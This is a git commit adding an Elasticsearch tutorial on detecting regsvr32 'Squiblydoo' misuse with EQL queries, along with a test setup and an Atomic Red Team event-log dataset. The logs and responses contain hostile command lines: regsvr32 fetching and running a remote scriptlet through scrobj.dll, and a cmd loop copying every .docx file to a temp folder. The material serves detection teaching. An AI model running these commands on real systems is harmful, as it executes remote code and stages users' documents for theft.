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[DOCS] EQL: Add threat detection example (#59105)

James Rodewig 5 years ago
parent
commit
e8a907e34a

+ 34 - 1
docs/build.gradle

@@ -347,7 +347,7 @@ buildRestTests.setups['user_hits'] = '''
             {"timestamp": "2019-01-03T13:00:00", "user_id": "4"}'''
 
 
-// Dummy bank account data used by getting-started.asciidoc
+// Fake bank account data used by getting-started.asciidoc
 buildRestTests.setups['bank'] = '''
   - do:
         indices.create:
@@ -1445,3 +1445,36 @@ buildRestTests.setups['setup-repository'] = '''
           settings:
             location: buildDir/cluster/shared/repo
 '''
+
+// Fake sec logs data used by EQL search
+buildRestTests.setups['atomic_red_regsvr32'] = '''
+  - do:
+        indices.create:
+          index: my-index-000001
+          body:
+            settings:
+              number_of_shards: 5
+              number_of_routing_shards: 5
+            mappings:
+              properties:
+                process:
+                  properties:
+                    "command_line":
+                      type: keyword
+  - do:
+        bulk:
+          index: my-index-000001
+          refresh: true
+          body: |
+#atomic_red_data#
+'''
+/* Load the actual events only if we're going to use them. */
+File atomicRedRegsvr32File = new File("$projectDir/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json")
+buildRestTests.inputs.file(atomicRedRegsvr32File)
+buildRestTests.doFirst {
+  String events = atomicRedRegsvr32File.getText('UTF-8')
+  // Indent like a yaml test needs
+  events = events.replaceAll('(?m)^', '            ')
+  buildRestTests.setups['atomic_red_regsvr32'] =
+    buildRestTests.setups['atomic_red_regsvr32'].replace('#atomic_red_data#', events)
+}

+ 437 - 0
docs/reference/eql/detect-threats-with-eql.asciidoc

@@ -0,0 +1,437 @@
+[role="xpack"]
+[testenv="basic"]
+[[eql-ex-threat-detection]]
+== Example: Detect threats with EQL
+
+experimental::[]
+
+This example tutorial shows you how you can use EQL to detect security threats
+and other suspicious behavior.
+
+In the scenario, you're tasked with detecting
+https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
+logs. `regsvr32` misuse is a known adversary technique documented in the
+https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
+
+[discrete]
+[[eql-ex-threat-detection-setup]]
+=== Setup
+
+This tutorial uses a test dataset for `regsvr32` misuse from
+https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
+been normalized and mapped to use some fields from the {ecs-ref}[Elastic Common
+Schema (ECS)], including the `@timestamp` and `event.category` fields. The
+dataset includes events that imitate behaviors related to `regsvr32` misuse, as
+documented by MITRE ATT&CK®.
+
+To get started, download and index the dataset:
+
+. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
+
+. Index the data into the `my-index-000001` index with the following
+<<docs-bulk,bulk API>> request:
++
+[source,sh]
+----
+curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
+----
+// NOTCONSOLE
+
+. Use the <<cat-indices,cat indices API>> to verify the dataset was indexed
+successfully.
++
+[source,console]
+----
+GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
+----
+// TEST[setup:atomic_red_regsvr32]
++
+The API returns the following response. The `docs.count` value should show `150`
+documents were indexed.
++
+[source,txt]
+----
+health status index            docs.count
+yellow open   my-index-000001         150
+----
+// TESTRESPONSE[non_json]
+
+[discrete]
+[[eql-ex-get-a-count-of-regsvr32-events]]
+=== Get a count of `regsvr32.exe` events
+
+Since you're looking for `regsvr32` misuse, start by getting a count of any
+events associated with a `regsvr32.exe` process.
+
+The following <<eql-search-api,EQL search API>> request uses an EQL query to
+retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
+starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
+meaning the query can match events of any <<eql-required-fields,event
+category>>.
+
+[source,console]
+----
+GET /my-index-000001/_eql/search?filter_path=-hits.events   <1>
+{
+  "query": """
+    any where process.name == "regsvr32.exe"                <2>
+  """,
+  "size": 200                                               <3>
+}
+----
+// TEST[setup:atomic_red_regsvr32]
+
+<1> Uses the `?filter_path=-hits.events` query parameter to exclude the
+`hits.events` property from the response. The `hits.events` property contains
+the document source for any matching events. This request is intended to
+retrieve a count of events only.
+<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
+<3> Returns up to 200 events or sequences matching the EQL query.
+
+The request returns the following response, indicating that 143 events match the
+query.
+
+[source,console-result]
+----
+{
+  "is_partial": false,
+  "is_running": false,
+  "took": 60,
+  "timed_out": false,
+  "hits": {
+    "total": {
+      "value": 143,
+      "relation": "eq"
+    }
+  }
+}
+----
+// TESTRESPONSE[s/"took": 60/"took": $body.took/]
+
+[discrete]
+[[eql-ex-check-for-command-line-artifacts]]
+=== Check for command line artifacts
+
+Based on your previous query, you know `regsvr32` processes were associated with
+143 events. But how was `regsvr32.exe` first called? And who called it?
+
+`regsvr32` is a command-line utility so narrowing your results to processes where
+the command line was used may help.
+
+First, in the previous EQL query, change the `any` keyword to `process`. This
+means the query will only match processes, which have an `event.category` of
+`process`.
+
+Next, append `and process.command_line != null` to the query. Now the query will
+only match processes with a command line value.
+
+You'll also need to remove the `filter_path=-hits.events` query parameter. This
+lets you retrieve the document source for any matching events.
+
+[source,console]
+----
+GET /my-index-000001/_eql/search
+{
+  "query": """
+    process where process.name == "regsvr32.exe" and process.command_line != null
+  """
+}
+----
+// TEST[setup:atomic_red_regsvr32]
+
+The query matches one process. The event has an `event.type` of `creation`,
+indicating the start of a `regsvr32.exe` process. Based on the
+`process.command_line` value, `regsvr32.exe` used `scrobj.dll` to register a
+script. This fits the behavior of a
+https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
+variant of `regsvr32` misuse.
+
+The query also retrieved other valuable information about how the `regsvr32.exe`
+process started, such as the `@timestamp`, the associated `user.id`, and the
+`process.parent.name`.
+
+[source,console-result]
+----
+{
+  "is_partial": false,
+  "is_running": false,
+  "took": 21,
+  "timed_out": false,
+  "hits": {
+    "total": {
+      "value": 1,
+      "relation": "eq"
+    },
+    "events": [
+      {
+        "_index": "my-index-000001",
+        "_id": "gl5MJXMBMk1dGnErnBW8",
+        "_score": null,
+        "_source": {
+          "process": {
+            "parent": {
+              "name": "cmd.exe",
+              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
+              "executable": "C:\\Windows\\System32\\cmd.exe"
+            },
+            "name": "regsvr32.exe",
+            "pid": 2012,
+            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
+            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
+            "executable": "C:\\Windows\\System32\\regsvr32.exe",
+            "ppid": 2652
+          },
+          "logon_id": 217055,
+          "@timestamp": 131883573237130000,
+          "event": {
+            "category": "process",
+            "type": "creation"
+          },
+          "user": {
+            "full_name": "bob",
+            "domain": "ART-DESKTOP",
+            "id": "ART-DESKTOP\\bob"
+          }
+        }
+      }
+    ]
+  }
+}
+----
+// TESTRESPONSE[s/"took": 21/"took": $body.took/]
+// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
+
+[discrete]
+[[eql-ex-check-for-malicious-script-loads]]
+=== Check for malicious script loads
+
+You now know that a `regsvr32.exe` process was used to register a potentially
+malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
+`scrob.dll` library.
+
+Modify the previous EQL query as follows:
+
+* Change the `process` keyword to `library`.
+* Add the `dll.name == "scrobj.dll` condition.
+
+[source,console]
+----
+GET /my-index-000001/_eql/search
+{
+  "query": """
+    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
+  """
+}
+----
+// TEST[setup:atomic_red_regsvr32]
+
+The query matches an event, confirming `scrobj.dll` was later loaded by
+`regsvr32.exe`.
+
+[source,console-result]
+----
+{
+  "is_partial": false,
+  "is_running": false,
+  "took": 5,
+  "timed_out": false,
+  "hits": {
+    "total": {
+      "value": 1,
+      "relation": "eq"
+    },
+    "events": [
+      {
+        "_index": "my-index-000001",
+        "_id": "ol5MJXMBMk1dGnErnBW8",
+        "_score": null,
+        "_source": {
+          "process": {
+            "name": "regsvr32.exe",
+            "pid": 2012,
+            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
+            "executable": "C:\\Windows\\System32\\regsvr32.exe"
+          },
+          "@timestamp": 131883573237450016,
+          "dll": {
+            "path": "C:\\Windows\\System32\\scrobj.dll",
+            "name": "scrobj.dll"
+          },
+          "event": {
+            "category": "library"
+          }
+        }
+      }
+    ]
+  }
+}
+----
+// TESTRESPONSE[s/"took": 5/"took": $body.took/]
+// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
+
+[discrete]
+[[eql-ex-detemine-likelihood-of-sucess]]
+=== Determine likelihood of success
+
+In many cases, malicious scripts are used to connect to remote servers or
+download other files. If this occurred, the attack might have succeeded.
+
+Use an <<eql-sequences,EQL sequence query>> to check for the following series of
+events, in order:
+
+. A `regsvr32.exe` process, which could have been used to register malicious
+scripts as `scrobj.dll`
+. A load of the `scrobj.dll` library by the same process
+. Any network event by the same process, which could indicate the download of a
+remote file
+
+To match, each event in the sequence must share the same process ID, recorded in
+the `process.pid` field. 
+
+Based on the command line value seen in the previous result, you can expect to
+find a match. However, the sequence query isn't designed for that specific
+command. Instead, it looks for a pattern of suspicious behavior while still
+being generic enough to detect similar threats in the future.
+
+[source,console]
+----
+GET /my-index-000001/_eql/search
+{
+  "query": """
+    sequence by process.pid
+      [process where process.name == 'regsvr32.exe']
+      [library where dll.name == 'scrobj.dll']
+      [network where true]
+  """
+}
+----
+// TEST[setup:atomic_red_regsvr32]
+
+The query matches a sequence, indicating the attack likely succeeded.
+
+[source,console-result]
+----
+{
+  "is_partial": false,
+  "is_running": false,
+  "took": 25,
+  "timed_out": false,
+  "hits": {
+    "total": {
+      "value": 1,
+      "relation": "eq"
+    },
+    "sequences": [
+      {
+        "join_keys": [
+          "2012"
+        ],
+        "events": [
+          {
+            "_index": "my-index-000001",
+            "_id": "gl5MJXMBMk1dGnErnBW8",
+            "_version": 1,
+            "_seq_no": 3,
+            "_primary_term": 1,
+            "_score": null,
+            "_source": {
+              "process": {
+                "parent": {
+                  "name": "cmd.exe",
+                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
+                  "executable": "C:\\Windows\\System32\\cmd.exe"
+                },
+                "name": "regsvr32.exe",
+                "pid": 2012,
+                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
+                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
+                "executable": "C:\\Windows\\System32\\regsvr32.exe",
+                "ppid": 2652
+              },
+              "logon_id": 217055,
+              "@timestamp": 131883573237130000,
+              "event": {
+                "category": "process",
+                "type": "creation"
+              },
+              "user": {
+                "full_name": "bob",
+                "domain": "ART-DESKTOP",
+                "id": "ART-DESKTOP\\bob"
+              }
+            }
+          },
+          {
+            "_index": "my-index-000001",
+            "_id": "ol5MJXMBMk1dGnErnBW8",
+            "_version": 1,
+            "_seq_no": 5,
+            "_primary_term": 1,
+            "_score": null,
+            "_source": {
+              "process": {
+                "name": "regsvr32.exe",
+                "pid": 2012,
+                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
+                "executable": "C:\\Windows\\System32\\regsvr32.exe"
+              },
+              "@timestamp": 131883573237450016,
+              "dll": {
+                "path": "C:\\Windows\\System32\\scrobj.dll",
+                "name": "scrobj.dll"
+              },
+              "event": {
+                "category": "library"
+              }
+            }
+          },
+          {
+            "_index": "my-index-000001",
+            "_id": "EF5MJXMBMk1dGnErnBa9",
+            "_version": 1,
+            "_seq_no": 24,
+            "_primary_term": 1,
+            "_score": null,
+            "_source": {
+              "process": {
+                "name": "regsvr32.exe",
+                "pid": 2012,
+                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
+                "executable": "C:\\Windows\\System32\\regsvr32.exe"
+              },
+              "@timestamp": 131883573238680000,
+              "destination": {
+                "address": "151.101.48.133",
+                "port": "443"
+              },
+              "source": {
+                "address": "192.168.162.134",
+                "port": "50505"
+              },
+              "event": {
+                "category": "network"
+              },
+              "user": {
+                "full_name": "bob",
+                "domain": "ART-DESKTOP",
+                "id": "ART-DESKTOP\\bob"
+              },
+              "network": {
+                "protocol": "tcp",
+                "direction": "outbound"
+              }
+            }
+          }
+        ]
+      }
+    ]
+  }
+}
+----
+// TESTRESPONSE[s/"took": 25/"took": $body.took/]
+// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
+// TESTRESPONSE[s/"_seq_no": 3/"_seq_no": $body.hits.sequences.0.events.0._seq_no/]
+// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
+// TESTRESPONSE[s/"_seq_no": 5/"_seq_no": $body.hits.sequences.0.events.1._seq_no/]
+// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
+// TESTRESPONSE[s/"_seq_no": 24/"_seq_no": $body.hits.sequences.0.events.2._seq_no/]

+ 2 - 1
docs/reference/eql/eql.asciidoc

@@ -715,4 +715,5 @@ You can also manually delete saved synchronous searches using the
 
 include::syntax.asciidoc[]
 include::functions.asciidoc[]
-include::pipes.asciidoc[]
+include::pipes.asciidoc[]
+include::detect-threats-with-eql.asciidoc[]

+ 300 - 0
docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json

@@ -0,0 +1,300 @@
+{"index":{}}
+{ "process": { "parent": { "name": "powershell.exe", "entity_id": "{42FC7E13-C11D-5C05-0000-0010C6E90401}", "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "command_line": "\"C:\\WINDOWS\\system32\\cmd.exe\" /c \"for /R c: %%f in (*.docx) do copy %%f c:\\temp\\\"", "executable": "C:\\Windows\\System32\\cmd.exe", "ppid": 7036 }, "logon_id": 217055, "@timestamp": 131883571822010000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }
+{"index":{}}
+{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\cmd.exe", "name": "cmd.exe" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "@timestamp": 131883571822140000, "event": { "category": "process", "type": "terminate" } }
+{"index":{}}
+{ "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }
+{"index":{}}
+{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\regsvr32.exe", "name": "regsvr32.exe" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
+{"index":{}}
+{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\apphelp.dll", "name": "apphelp.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
+{"index":{}}
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